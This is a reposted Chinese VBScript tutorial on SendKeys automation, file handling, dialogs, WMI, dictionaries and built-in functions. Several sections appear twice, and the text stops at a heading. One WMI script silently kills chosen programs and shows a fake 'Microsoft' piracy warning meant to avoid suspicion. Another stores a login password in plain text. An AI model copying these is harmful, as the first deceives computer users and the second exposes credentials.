Vbs脚本编程简明教程

来源:互联网 发布:虚拟声卡软件 编辑:程序博客网 时间:2024/05/17 23:17


Vbs脚本编程简明教程之九——3

妙用SendKeys自动上网并登陆博客3

将下面的脚本复制到一个文本文件中,并将其文件名命名为:自动登陆.vbs,然后将拨号软件及本脚本一起复制到程序——启动项中,就可以实现自动拨号上网,并登陆到博客上。

代码如下:

Set wshshell=CreateObject("wscript.shell")

wshshell.AppActivate "连接 MAE-301U 拨号连接"

wscript.Sleep 20000

wshshell.SendKeys "{enter}"

wshshell.Run "iexplore"

WScript.Sleep 2000

wshshell.AppActivate "hao123网址之家---实用网址,搜索大全,尽在http://www.hao123.com/ - Microsoft Internet Explorer" '引号中的内容修改为你的浏览器打开后标题栏中的内容

wshshell.SendKeys "%d"

wshshell.SendKeys "http://passport.baidu.com/?login"

wshshell.SendKeys "{enter}"

WScript.Sleep 2000

wshshell.SendKeys "此处修改为博客帐号"

wshshell.SendKeys "{tab}"

wshshell.SendKeys "此处修改为博客密码"

wshshell.SendKeys "{enter}"

'wshshell.SendKeys "%d"

 

Vbs脚本常用的编辑器当然是notapad,不过这个编辑器的功能当然实在是太弱了一点,其实有很多的专用的脚本编辑器可以大大方便vbs脚本的编写。我常用的有两种:

1VBSEDit汉化版

 

2primalscript汉化版,可以对30多种脚本进行编辑

Vbs脚本编程简明教程之十一

FSO中文件的基本操作

 

一、文件属性:

windows中,文件的属性一般用数字来表示:

0代表normal,即普通文件未设置任何属性。   1代表只读文件。

2代表隐藏文件。   4代表系统文件。   16代表文件夹或目录。

32代表存档文件。 1024代表链接或快捷方式。例如:

set fs=wscript.createobject(“scripting.filesystemobject”)

set f=fs.getfile(“d:\index.txt”)

msgbox f.Attributes  attributes函数的作用是显示文件属性

需要说明的是:msgbox显示的结果往往不是上面说明的数字,而是有关属性代表数字的和

二、创建文件:object.createtextfile方法,注意创建前一般需要检查文件是否存在。

例如:set fso=wscript.createobject(scripting.filesystemobject)

if fso.fileexists(“c:\kk.txt”) then

msgbox “文件已存在”

else

set f=fso.createtextfile(“c:\kk.txt”)

end if

如需要强制覆盖已存在的文件,则在文件名后加true参数。

三、复制、移动、删除文件:使用copyfile方法、movefile方法、deletefile方法。例如:

set fso=wscript.createobject(“scripting.filesystemobject”)

fso.copyfile c:\kk.txt,d:\1\kk.txt,true   //如上文说述,true代表强制覆盖

fso.movefile c:\kk.txtd:\  //移动文件

fso.deletefile c:\kk.txt  //删除文件

四、文件的读写:

1、打开文件:使用opentextfile方法

如:set ts=fso.opentextfile(c:\kk.txt,1,true)

说明:第二个参数为访问模式1为只读、2写入、8为追加

第三个参数指定如文件不存在则创建。

2、读取文件:read(x)x个字符;readline读一行;readall全部读取

如:set ffile=fso.opentextfile(c:\kk.txt,1,true)

value=ffile.read(20)

line=ffile.readline

contents=ffile.readall

3、常见的指针变量:

atendofstream属性:当处于文件结尾的时候这个属性返回true。一般用循环检测是否到达文件末尾。例如:

do while ffile.atendofstream<>true

ffile.read(10)

loop

atendofline属性:如果已经到了行末尾,这个属性返回true

Column属性(当前字符位置的列号)line属性(文件当前行号):在打开一个文件后,行和列指针都被设置为1

4、在文件中跳行:skip(x)  跳过x个字符;skipline  跳过一行

5、在文件中写入字符:可以用2-写入和8-追加的方式来写入

其方法有:write(x)写入x字符串;writeline(x)写入x代表的一行

writeblanklines(n) 写入n个空行

注意:最后一定要使用close方法关闭文件,读文件后一定要关闭,才能以写的方式打开。

 

 

Vbs脚本编程简明教程之十二

 

使用系统对话框

 

VBS脚本设计中,如果能使用windows提供的系统对话框,可以简化脚本的使用难度,使脚本人性化许多,很少有人使用,但VBS并非不能实现这样的功能,方法当然还是利用COM对象。

1SAFRCFileDlg.FileSave对象:属性有:FileName  指定默认文件名;FileType  指定文件扩展名;OpenFileSaveDlg  显示文件保存框体方法。

2SAFRCFileDlg.FileOpen 对象:FileName  默认文件名属性;OpenFileOpenDlg  显示打开文件框体方法。

3UserAccounts.CommonDialog对象:Filter  扩展名属性("vbs File|*.vbs|All Files|*.*");

FilterIndex  指定

InitialDir  指定默认的文件夹

FileName  指定的文件名

Flags  对话框的类型

Showopen方法:

很简单,ok,让我们来举两个简单的例子:

例一:保存文件

Set objDialog = CreateObject("SAFRCFileDlg.FileSave")

Set objFSO = CreateObject("Scripting.FileSystemObject")

objDialog.FileName = "test"

objDialog.FileType = ".txt"

intReturn = objDialog.OpenFileSaveDlg

If intReturn Then

objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)

Else

Wscript.Quit

End If

注意:1SAFRCFileDlg.FileSave对象仅仅是提供了一个方便用户选择的界面,本身并没有保存文件的功能,保存文件还需要使用FSO对象来完成。2、用FileType属性来指定默认的文件类型。3、在调用OpenFileSaveDlg方法时,最好把返回值保存到一变量中,用它可以判断用户按下的是确定还是取消。

例二:.打开文件

set objFile = CreateObject("SAFRCFileDlg.FileOpen")

intRet = objFile.OpenFileOpenDlg

if intret then

msgbox “文件打开成功!文件名为:” & objFile.filename

else

wscript.quit

end if

例三:比较复杂的打开文件对话框

Set objDialog = CreateObject("UserAccounts.CommonDialog")

objDialog.Filter = "vbs File|*.vbs"

objDialog.InitialDir = "c:\"

tfile=objDialog.ShowOpen

if tfile then

strLoadFile = objDialog.FileName

msgbox strLoadFile

else

wscript.quit

end if

说明:在脚本中加入 objDialog.Flags = &H020 看看会出现什么结果

 

Vbs脚本编程简明教程之十三——1

WMI基础之一

 

WMIWindows 管理规范,是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI的语法十分简单,基本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。

一、WMI的起源

几年前,几家资深的计算机公司由于系统管理领域缺少标准,委托DMTF启动了CIM(通用信息模型)项目,理想的CIM是一种不受限制于任何特定实现环境的管理工具。WMICIM的微软实现,它有很多类是从CIM中派生出来的。

二、WMI的命名空间

那么命名空间是做什么作用的呢?我简单这样说,在同一段代码中,如果有两个变量或函数的名字完全相同,就会出现冲突。命名空间就是为解决变量、函数的命名冲突而服务的。解决的办法就是将你的变量定义在一个不同名字的命名空间中。就好像财政局有个张三,公安局也有个张三,但我们清楚,就是因为他们分属不同的单位。有些地方可能不太准确,但大致意思就是这样了。

WMI的命名空间创建了一个层次结构,有点类似于我们的目录文件结构。

1  root-作为所有其他名字的占位符;

2  root\default-与注册表操作有关的类;

3  root\security-与系统安全有关的类;

4  root\cimv2-CIM派生的类,代表我们最常用的工作环境。

三、WMI的对象路径

WMI的对象路径用来在CIM库中定位类和它的事例,对象路径用两个反斜杠\\开头,第一个元素是目标计算机的名字,第二个元素是相应的WMI命名空间,第三个元素是相应的类名,并用  将它与命名空间分隔开来。例如:\\..\root\cimv2:win32_service

其中那个 . 代表是本地系统。

四、WMI的查询语言——WQL仅仅是ANSI SQL的一个子集,只能用于数据的提取。

数据、事件查询的基本语法为:

Select pro1 , pro2 , pro3  from myclassmyclassevent

例如:Select name , path from Win32_share  说明:列出所有共享的名称和路径

也可以使用通配符 * ,例如:Select * from Win32_share

关键字Where 用于限定查询的范围。

例如:Select * from Win32_share where name=Admin

五、WMI脚本中使用的三个步骤

步骤 1:连接到 WMI 服务

在任何 WMI 脚本中,第一个步骤都是建立一个到目标计算机上的 Windows 管理服务的连接。方法是调用 VBScript  Getobject 函数并将 WMI 脚本库的名字对象的名称(即“winmgmts:”,后跟目标计算机的名称)传递到 Getobject,并返回一个对象的引用,此时,您就可以调用其提供的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由资源的类名标识的托管资源的所有实例。

步骤 2:检索 WMI 托管资源的实例

一般采用WQL来实现。

步骤 3:显示 WMI 托管资源的属性

最后一个步骤是枚举 检索得到集合的内容。一般采用

For each enum in  myclass

……

Next       结构来实现。

六、WMI 测试器 (wbemtest.exe)验证脚本执行结果

现在,您对可用于浏览和查看 CIM 的工具已经有了一些认识,让我们使用 WMI 测试器 (wbemtest.exe) 来检查 Win32_Process 类定义,以便从在您的本地计算机上运行的进程检索一些属性。

1.打开一个命令提示,键入 C:\>wbemtest.exe,按下 Enter 来开始 WMI 测试器工具。请注意,大部分按钮在主 WMI 测试器窗口上是被禁用的,这说明此时您没有连接到 WMI

2.单击 “连接”按钮 连接到本地或远程计算机上的 WMI 服务。显示“连接”对话框,它提供一个标记为 名称空间 的文本输入区域,该区域默认值为 root\default。将 名称空间 区域的值更改为 root\cimv2,单击“连接”对话框的 连接按钮返回到主 WMI 测试器窗口。

3.主窗口中左上角的命名空间标识符应该显示为 root\cimv2。请注意,所有的按钮现在都已启用,这说明在当前凭据环境下,您已经成功连接到本地主机上的 WMI。单击 枚举类别 打开“超类信息”对话框。

4.在“超类信息”对话框中,不要填写 输入超类别名称 区域,单击 递归 选项,单击 确定 以枚举 root\cimv2 名称空间中定义的所有 CIM 类。

请注意,列于“查询结果”对话框顶部的类是以两个下划线为开头的。这些是系统类。系统类是预定义的 CIM 类,支持内部 WMI 配置与操作,例如提供程序注册、命名空间安全性及事件通知等。现在,忽略系统类,向下滚动“查询结果”对话框直至看到以 CIM_ 开头的类。名称以 CIM_ 开头的类是由 DMTF 维护的核心与公共基类。继续向下滚动直至到达以 Win32_ 开头的类。 名称以 Win32_ 开头的类是 Microsoft 扩展类,表示 Windows 特定的托管资源。如果这是您第一次检查 root\cimv2 命名空间,您可能希望熟悉root\cimv2 命名空间中的类的完整集合,尤其是有 Win32_ 前缀的类。

5.向下滚动“查询结果”对话框直至到达 Win32_Process 类,双击该类名打开 Win32_Process 对话框的对象编辑器。

6.“对象编辑器”对话框显示被选定类的定义和实现的详细信息(属性和方法)。选择 Hide System Properties 复选框隐藏系统属性。剩余的 Win32_Process 属性表示您可以从在本地或远程计算机上运行的进程检索的信息。

运行如下代码:

strComputer = "."  

Set wbemServices = Getobject("winmgmts:\\" & strComputer)

Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")

For Each wbemObject In wbemObjectSet

    WScript.Echo "Name:          " & wbemObject.Name      & vbCrLf & _

                 "   Handle:     " & wbemObject.Handle    & vbCrLf & _

                 "   Process ID: " & wbemObject.ProcessID

Next

7.在运行脚本之后,您可以用 WIMI 测试器验证脚本的结果。在 Win32_Process 对话框的对象编辑器中,单击 Instances。产生的查询结果对话框列出在计算机上运行的进程的实例。双击一个指定的进程实例,查看该实例的详细信息。

 

Vbs脚本编程简明教程之十三——2

WMI基础之二—阻止客人运行你不想运行的程序

 

 

很多人都有这样的经验,刚刚装好的系统,让人运行了一些你不想他运行的程序,比如说QQ,又是聊天,又是下载表情,不过一会,流氓插件、病毒、木马已经盘踞了你的计算机,常常是忍痛将这个程序卸载,可是不知情的人很自觉的下载安装,使整个系统无法正常运行。

其实用vbswmi结合起来,使你的计算机上有相应的程序安装,别人又无法运行起来太容易了,现在给出代码:

On Error Resume Next    '忽略所有的错误

Dim bag,pipe,honker,good

Do

good="."     '定义为本地计算机

set bag=getobject("winmgmts:\\"& good &"\root\cimv2")     'l连接到cimv2命名空间

set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'")    '看,这是我的计算机上不允许运行的程序,qqqqgamewinmine(扫雷)如果你还有其他的程序不允许运行,很简单,在其中添加 or name='你不允许运行的程序名'

for each i in pipe

i.terminate()

msgbox "发现盗版系统,现已进行功能限制!" & vbcrlf & "请使用正版软件!",,"微软提示"    '此行其实可有可无,有这行只是为了免去怀疑

next

wscript.sleep 60000    '1分钟检测一次

loop

那么如果我自己想运行这些程序该怎么办呢,很简单,Ctrl+Alt+Del三个键齐按,打开windows任务管理器,在进程中结束Wscript.exewmiprvse.exe进程的运行就可以了

 

Vbs脚本编程简明教程之十四

使用dictionary对象

 

VBS中存在一个特殊的对象-dictionnary,是一个集合对象。一般情况霞,我把这个特殊的集合想象为数组,可以使用其中内建的函数完成存储和操纵数据等基本任务,无须担心数据是在哪些行列,而是使用唯一的键进行访问或者是一个只能运行在内存中的数据库,并只有两个字段分别是:keyitem,在使用中,字段key是索引字段。

set sdict=CreateObject("Scripting.Dictionary")

sdict.add "a","apple"

sdict.add "b","banana"

sdict.add "c","copy"

for each key in sdict.keys

msgbox     "键名" &   key     & "" & " = " & sdict (key)

next

sdict.removeall

这个脚本很简单,就是定义了一个 dictionary 对象的实例sdict,并加入了三条数据,然后对每一条数据进行了枚举,最后,将对象的实例清空。

Dictionary 对象的成员概要

属性和说明

CompareMode    设定或返回键的字符串比较模式

Count     只读。返回 Dictionary 里的键/条目对的数量

Item(key)  设定或返回指定的键的条目值

Key(key)  设定键值

方法和说明

Add(key,item)  增加键/条目对到 Dictionary

Exists(key)  如果指定的键存在,返回 True,否则返回 False

Items()  返回一个包含 Dictionary 对象中所有条目的数组

Keys()  返回一个包含 Dictionary 对象中所有键的数组

Remove(key)  删除一个指定的键/条目对

RemoveAll()   删除全部键/条目对

 

 

Vbs脚本编程简明教程之十五——1

VBS内置函数之一

 

Abs 函数:返回数的绝对值。

Array 函数:返回含有数组的变体。

Asc 函数:返回字符串首字母的 ANSI 字符码。

Atn 函数:返回数值的反正切。

CBool 函数:返回已被转换为 Boolean 子类型的变体的表达式。

CByte 函数:返回已被转换为字节子类型的变体的表达式。

CCur 函数:返回已被转换为货币子类型的变体的表达式。

CDate 函数:返回已被转换为日期子类型的变体的表达式。

CDbl 函数:返回已被转换为双精度子类型的变体的表达式。

Chr 函数:返回与指定的 ANSI 字符码相关的字符。

CInt 函数:返回已被转换为整形子类型的变体的表达式。

CLng 函数;返回已被转换为Long子类型的变体的表达式。

Cos 函数:返回角度的余弦。

CreateObject 函数:创建并返回对“自动”对象的引用。

CSng 函数:返回已被转换为单精度子类型的变体的表达式。

CStr 函数:返回已被转换为字符串子类型的变体的表达式。

Date 函数:返回当前系统日期。

DateAdd 函数:返回的日期已经加上了指定的时间间隔。

DateDiff 函数:返回两个日期之间的间隔。

DatePart 函数:返回给定日期的指定部分。

DateSerial 函数:返回指定年月日的日期子类型的变体。

Datevalue 函数:返回日期子类型的变体。

Day 函数:返回日期,取值范围为 1  31

Eval 函数:计算表达式并返回结果。

Exp 函数:返回 e (自然对数的底) 的多少次方。

Filter 函数:根据指定的筛选条件,返回含有字符串数组子集的、下限为 0 的数组。

Fix 函数:返回数的整数部分。

FormatCurrency 函数:返回的表达式为货币值格式,其货币符号采用系统控制面板中定义的。

FormatDateTime 函数:返回的表达式为日期和时间格式。

FormatNumber 函数:返回的表达式为数字格式。

FormatPercent 函数:返回的表达式为百分数(乘以 100)格式,后面有 % 符号。

GetObject 函数:返回从文件对“自动”对象的引用。

GetRef 函数:返回对能够绑定到一事件的过程的引用。

Hex 函数:返回一字符串,代表一个数的十六进制值。

Hour 函数:返回表示钟点的数字,取值范围为 0  23

InputBox 函数:在对话框中显式一提示,等待用户输入文本或单击按钮,并返回文本框的内容。

InStr 函数:返回一个字符串在另一个字符串中首次出现的位置。

InStrRev 函数;返回一个字符串在另一个字符串中出现的位置,但是从字符串的尾部算起。

 

VBS内置函数之二

 

Int 函数:返回数的整数部分。

IsArray 函数:返回 Boolean 值,反映变量是否为数组。

IsDate 函数:返回 Boolean 值,反映表达式能否转换为日期。

IsEmpty 函数:返回 Boolean 值,反映变量是否已被初始化。

IsNull 函数:返回 Boolean 值,反映表达式是否含有无效数据(Null)

IsNumeric 函数:返回 Boolean 值,反映表达式能否转换为数字。

IsObject 函数:返回 Boolean 值,反映表达式是否引用了有效的“自动”对象。

Join 函数:返回通过连接许多含有数组的子串而创建的字符串。

LBound 函数;返回指定维数数组的最小有效下标。

LCase 函数:返回的字符串已被转换为小写字母。

Left 函数:返回字符串最左边的指定数量的字符。

Len 函数:返回字符串中的字符数或存储变量所需的字节数。

LoadPicture 函数:返回图片对象。只用于 32 位平台。

Log 函数:返回数的自然对数。

LTrim 函数;返回去掉前导空格的字符串。

Mid 函数:从字符串中返回指定数量的字符。

Minute 函数:返回分钟数,取值范围为 0  59

Month 函数:返回表示月份的数,取值范围为 1  12

MonthName 函数:返回表示月份的字符串。

MsgBox 函数:在对话框中显示消息,等待用户单击按钮,并返回表示用户所击按钮的数值。

Now 函数:返回计算机的当前系统日期和时间。

Oct 函数:返回表示该数八进制数值的字符串。

Replace 函数:返回一字符串,其中指定的子串已被另一个子串替换了规定的次数。

RGB 函数:返回代表 RGB 颜色值的数字。

Right 函数:返回字符串最右边的指定数量的字符。

Rnd 函数:返回随机数。

Round 函数:返回指定位数、四舍五入的数。

RTrim 函数:返回去掉尾部空格的字符串副本。

ScriptEngine 函数:返回反映使用中的脚本语言的字符串。

ScriptEngineBuildVersion 函数:返回使用中的脚本引擎的编译版本号。

ScriptEngineMajorVersion 函数:返回使用中的脚本引擎的主版本号。

ScriptEngineMinorVersion 函数:返回使用中的脚本引擎的次版本号。

Second 函数:返回秒数,取值范围为 0  59

VBS内置函数之三

 

 

Sgn 函数:返回反映数的符号的整数。

Sin 函数:返回角度的正弦值。

Space 函数:返回由指定数量的空格组成的字符串。

Split 函数:返回下限为 0 的、由指定数量的子串组成的一维数组。

Sqr 函数:返回数的平方根。

StrComp 函数:返回反映字符串比较结果的数值。

String 函数:返回指定长度的重复字符串。

StrReverse 函数:返回一字符串,其中字符的顺序与指定的字符串中的顺序相反。

Tan 函数:返回角度的正切值。

Time 函数:返回表示当前系统时间的“日期”子类型的“变体”。

Timer 函数:返回时经子夜 1200 AM 后的秒数。

TimeSerial 函数:返回含有指定时分秒时间的日期子类型的变体。

Timevalue 函数:返回含有时间的日期子类型的变体。

Trim 函数:返回去掉前导空格或尾部空格的字符串副本。

TypeName 函数:返回一字符串,它提供了关于变量的变体子类型信息。

UBound 函数:返回指定维数数组的最大有效下标。

UCase 函数:返回的字符串已经被转换为大写字母。

VarType 函数:返回标识变体子类型的数值。

Weekday 函数:返回表示星期几的数值。

WeekdayName 函数:返回表示星期几的字符串。

Year 函数:返回表示年份的数值。

 

 

 

 

 

 

 

 

 

 

 

 

 


Vbs脚本编程简明教程之九——3

妙用SendKeys自动上网并登陆博客3

将下面的脚本复制到一个文本文件中,并将其文件名命名为:自动登陆.vbs,然后将拨号软件及本脚本一起复制到程序——启动项中,就可以实现自动拨号上网,并登陆到博客上。

代码如下:

Set wshshell=CreateObject("wscript.shell")

wshshell.AppActivate "连接 MAE-301U 拨号连接"

wscript.Sleep 20000

wshshell.SendKeys "{enter}"

wshshell.Run "iexplore"

WScript.Sleep 2000

wshshell.AppActivate "hao123网址之家---实用网址,搜索大全,尽在http://www.hao123.com/ - Microsoft Internet Explorer" '引号中的内容修改为你的浏览器打开后标题栏中的内容

wshshell.SendKeys "%d"

wshshell.SendKeys "http://passport.baidu.com/?login"

wshshell.SendKeys "{enter}"

WScript.Sleep 2000

wshshell.SendKeys "此处修改为博客帐号"

wshshell.SendKeys "{tab}"

wshshell.SendKeys "此处修改为博客密码"

wshshell.SendKeys "{enter}"

'wshshell.SendKeys "%d"

 

Vbs脚本常用的编辑器当然是notapad,不过这个编辑器的功能当然实在是太弱了一点,其实有很多的专用的脚本编辑器可以大大方便vbs脚本的编写。我常用的有两种:

1VBSEDit汉化版

 

2primalscript汉化版,可以对30多种脚本进行编辑

Vbs脚本编程简明教程之十一

FSO中文件的基本操作

 

一、文件属性:

windows中,文件的属性一般用数字来表示:

0代表normal,即普通文件未设置任何属性。   1代表只读文件。

2代表隐藏文件。   4代表系统文件。   16代表文件夹或目录。

32代表存档文件。 1024代表链接或快捷方式。例如:

set fs=wscript.createobject(“scripting.filesystemobject”)

set f=fs.getfile(“d:\index.txt”)

msgbox f.Attributes  attributes函数的作用是显示文件属性

需要说明的是:msgbox显示的结果往往不是上面说明的数字,而是有关属性代表数字的和

二、创建文件:object.createtextfile方法,注意创建前一般需要检查文件是否存在。

例如:set fso=wscript.createobject(scripting.filesystemobject)

if fso.fileexists(“c:\kk.txt”) then

msgbox “文件已存在”

else

set f=fso.createtextfile(“c:\kk.txt”)

end if

如需要强制覆盖已存在的文件,则在文件名后加true参数。

三、复制、移动、删除文件:使用copyfile方法、movefile方法、deletefile方法。例如:

set fso=wscript.createobject(“scripting.filesystemobject”)

fso.copyfile c:\kk.txt,d:\1\kk.txt,true   //如上文说述,true代表强制覆盖

fso.movefile c:\kk.txtd:\  //移动文件

fso.deletefile c:\kk.txt  //删除文件

四、文件的读写:

1、打开文件:使用opentextfile方法

如:set ts=fso.opentextfile(c:\kk.txt,1,true)

说明:第二个参数为访问模式1为只读、2写入、8为追加

第三个参数指定如文件不存在则创建。

2、读取文件:read(x)x个字符;readline读一行;readall全部读取

如:set ffile=fso.opentextfile(c:\kk.txt,1,true)

value=ffile.read(20)

line=ffile.readline

contents=ffile.readall

3、常见的指针变量:

atendofstream属性:当处于文件结尾的时候这个属性返回true。一般用循环检测是否到达文件末尾。例如:

do while ffile.atendofstream<>true

ffile.read(10)

loop

atendofline属性:如果已经到了行末尾,这个属性返回true

Column属性(当前字符位置的列号)line属性(文件当前行号):在打开一个文件后,行和列指针都被设置为1

4、在文件中跳行:skip(x)  跳过x个字符;skipline  跳过一行

5、在文件中写入字符:可以用2-写入和8-追加的方式来写入

其方法有:write(x)写入x字符串;writeline(x)写入x代表的一行

writeblanklines(n) 写入n个空行

注意:最后一定要使用close方法关闭文件,读文件后一定要关闭,才能以写的方式打开。

 

 

Vbs脚本编程简明教程之十二

 

使用系统对话框

 

VBS脚本设计中,如果能使用windows提供的系统对话框,可以简化脚本的使用难度,使脚本人性化许多,很少有人使用,但VBS并非不能实现这样的功能,方法当然还是利用COM对象。

1SAFRCFileDlg.FileSave对象:属性有:FileName  指定默认文件名;FileType  指定文件扩展名;OpenFileSaveDlg  显示文件保存框体方法。

2SAFRCFileDlg.FileOpen 对象:FileName  默认文件名属性;OpenFileOpenDlg  显示打开文件框体方法。

3UserAccounts.CommonDialog对象:Filter  扩展名属性("vbs File|*.vbs|All Files|*.*");

FilterIndex  指定

InitialDir  指定默认的文件夹

FileName  指定的文件名

Flags  对话框的类型

Showopen方法:

很简单,ok,让我们来举两个简单的例子:

例一:保存文件

Set objDialog = CreateObject("SAFRCFileDlg.FileSave")

Set objFSO = CreateObject("Scripting.FileSystemObject")

objDialog.FileName = "test"

objDialog.FileType = ".txt"

intReturn = objDialog.OpenFileSaveDlg

If intReturn Then

objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)

Else

Wscript.Quit

End If

注意:1SAFRCFileDlg.FileSave对象仅仅是提供了一个方便用户选择的界面,本身并没有保存文件的功能,保存文件还需要使用FSO对象来完成。2、用FileType属性来指定默认的文件类型。3、在调用OpenFileSaveDlg方法时,最好把返回值保存到一变量中,用它可以判断用户按下的是确定还是取消。

例二:.打开文件

set objFile = CreateObject("SAFRCFileDlg.FileOpen")

intRet = objFile.OpenFileOpenDlg

if intret then

msgbox “文件打开成功!文件名为:” & objFile.filename

else

wscript.quit

end if

例三:比较复杂的打开文件对话框

Set objDialog = CreateObject("UserAccounts.CommonDialog")

objDialog.Filter = "vbs File|*.vbs"

objDialog.InitialDir = "c:\"

tfile=objDialog.ShowOpen

if tfile then

strLoadFile = objDialog.FileName

msgbox strLoadFile

else

wscript.quit

end if

说明:在脚本中加入 objDialog.Flags = &H020 看看会出现什么结果

 

Vbs脚本编程简明教程之十三——1

WMI基础之一

 

WMIWindows 管理规范,是用户管理本地和远程计算机的一种模型。通过它可以访问、配置、管理和监视几乎所有的 Windows 资源。WMI的语法十分简单,基本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)。

一、WMI的起源

几年前,几家资深的计算机公司由于系统管理领域缺少标准,委托DMTF启动了CIM(通用信息模型)项目,理想的CIM是一种不受限制于任何特定实现环境的管理工具。WMICIM的微软实现,它有很多类是从CIM中派生出来的。

二、WMI的命名空间

那么命名空间是做什么作用的呢?我简单这样说,在同一段代码中,如果有两个变量或函数的名字完全相同,就会出现冲突。命名空间就是为解决变量、函数的命名冲突而服务的。解决的办法就是将你的变量定义在一个不同名字的命名空间中。就好像财政局有个张三,公安局也有个张三,但我们清楚,就是因为他们分属不同的单位。有些地方可能不太准确,但大致意思就是这样了。

WMI的命名空间创建了一个层次结构,有点类似于我们的目录文件结构。

1  root-作为所有其他名字的占位符;

2  root\default-与注册表操作有关的类;

3  root\security-与系统安全有关的类;

4  root\cimv2-CIM派生的类,代表我们最常用的工作环境。

三、WMI的对象路径

WMI的对象路径用来在CIM库中定位类和它的事例,对象路径用两个反斜杠\\开头,第一个元素是目标计算机的名字,第二个元素是相应的WMI命名空间,第三个元素是相应的类名,并用  将它与命名空间分隔开来。例如:\\..\root\cimv2:win32_service

其中那个 . 代表是本地系统。

四、WMI的查询语言——WQL仅仅是ANSI SQL的一个子集,只能用于数据的提取。

数据、事件查询的基本语法为:

Select pro1 , pro2 , pro3  from myclassmyclassevent

例如:Select name , path from Win32_share  说明:列出所有共享的名称和路径

也可以使用通配符 * ,例如:Select * from Win32_share

关键字Where 用于限定查询的范围。

例如:Select * from Win32_share where name=Admin

五、WMI脚本中使用的三个步骤

步骤 1:连接到 WMI 服务

在任何 WMI 脚本中,第一个步骤都是建立一个到目标计算机上的 Windows 管理服务的连接。方法是调用 VBScript  Getobject 函数并将 WMI 脚本库的名字对象的名称(即“winmgmts:”,后跟目标计算机的名称)传递到 Getobject,并返回一个对象的引用,此时,您就可以调用其提供的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由资源的类名标识的托管资源的所有实例。

步骤 2:检索 WMI 托管资源的实例

一般采用WQL来实现。

步骤 3:显示 WMI 托管资源的属性

最后一个步骤是枚举 检索得到集合的内容。一般采用

For each enum in  myclass

……

Next       结构来实现。

六、WMI 测试器 (wbemtest.exe)验证脚本执行结果

现在,您对可用于浏览和查看 CIM 的工具已经有了一些认识,让我们使用 WMI 测试器 (wbemtest.exe) 来检查 Win32_Process 类定义,以便从在您的本地计算机上运行的进程检索一些属性。

1.打开一个命令提示,键入 C:\>wbemtest.exe,按下 Enter 来开始 WMI 测试器工具。请注意,大部分按钮在主 WMI 测试器窗口上是被禁用的,这说明此时您没有连接到 WMI

2.单击 “连接”按钮 连接到本地或远程计算机上的 WMI 服务。显示“连接”对话框,它提供一个标记为 名称空间 的文本输入区域,该区域默认值为 root\default。将 名称空间 区域的值更改为 root\cimv2,单击“连接”对话框的 连接按钮返回到主 WMI 测试器窗口。

3.主窗口中左上角的命名空间标识符应该显示为 root\cimv2。请注意,所有的按钮现在都已启用,这说明在当前凭据环境下,您已经成功连接到本地主机上的 WMI。单击 枚举类别 打开“超类信息”对话框。

4.在“超类信息”对话框中,不要填写 输入超类别名称 区域,单击 递归 选项,单击 确定 以枚举 root\cimv2 名称空间中定义的所有 CIM 类。

请注意,列于“查询结果”对话框顶部的类是以两个下划线为开头的。这些是系统类。系统类是预定义的 CIM 类,支持内部 WMI 配置与操作,例如提供程序注册、命名空间安全性及事件通知等。现在,忽略系统类,向下滚动“查询结果”对话框直至看到以 CIM_ 开头的类。名称以 CIM_ 开头的类是由 DMTF 维护的核心与公共基类。继续向下滚动直至到达以 Win32_ 开头的类。 名称以 Win32_ 开头的类是 Microsoft 扩展类,表示 Windows 特定的托管资源。如果这是您第一次检查 root\cimv2 命名空间,您可能希望熟悉root\cimv2 命名空间中的类的完整集合,尤其是有 Win32_ 前缀的类。

5.向下滚动“查询结果”对话框直至到达 Win32_Process 类,双击该类名打开 Win32_Process 对话框的对象编辑器。

6.“对象编辑器”对话框显示被选定类的定义和实现的详细信息(属性和方法)。选择 Hide System Properties 复选框隐藏系统属性。剩余的 Win32_Process 属性表示您可以从在本地或远程计算机上运行的进程检索的信息。

运行如下代码:

strComputer = "."  

Set wbemServices = Getobject("winmgmts:\\" & strComputer)

Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")

For Each wbemObject In wbemObjectSet

    WScript.Echo "Name:          " & wbemObject.Name      & vbCrLf & _

                 "   Handle:     " & wbemObject.Handle    & vbCrLf & _

                 "   Process ID: " & wbemObject.ProcessID

Next

7.在运行脚本之后,您可以用 WIMI 测试器验证脚本的结果。在 Win32_Process 对话框的对象编辑器中,单击 Instances。产生的查询结果对话框列出在计算机上运行的进程的实例。双击一个指定的进程实例,查看该实例的详细信息。

 

Vbs脚本编程简明教程之十三——2

WMI基础之二—阻止客人运行你不想运行的程序

 

 

很多人都有这样的经验,刚刚装好的系统,让人运行了一些你不想他运行的程序,比如说QQ,又是聊天,又是下载表情,不过一会,流氓插件、病毒、木马已经盘踞了你的计算机,常常是忍痛将这个程序卸载,可是不知情的人很自觉的下载安装,使整个系统无法正常运行。

其实用vbswmi结合起来,使你的计算机上有相应的程序安装,别人又无法运行起来太容易了,现在给出代码:

On Error Resume Next    '忽略所有的错误

Dim bag,pipe,honker,good

Do

good="."     '定义为本地计算机

set bag=getobject("winmgmts:\\"& good &"\root\cimv2")     'l连接到cimv2命名空间

set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'")    '看,这是我的计算机上不允许运行的程序,qqqqgamewinmine(扫雷)如果你还有其他的程序不允许运行,很简单,在其中添加 or name='你不允许运行的程序名'

for each i in pipe

i.terminate()

msgbox "发现盗版系统,现已进行功能限制!" & vbcrlf & "请使用正版软件!",,"微软提示"    '此行其实可有可无,有这行只是为了免去怀疑

next

wscript.sleep 60000    '1分钟检测一次

loop

那么如果我自己想运行这些程序该怎么办呢,很简单,Ctrl+Alt+Del三个键齐按,打开windows任务管理器,在进程中结束Wscript.exewmiprvse.exe进程的运行就可以了

 

Vbs脚本编程简明教程之十四

使用dictionary对象

 

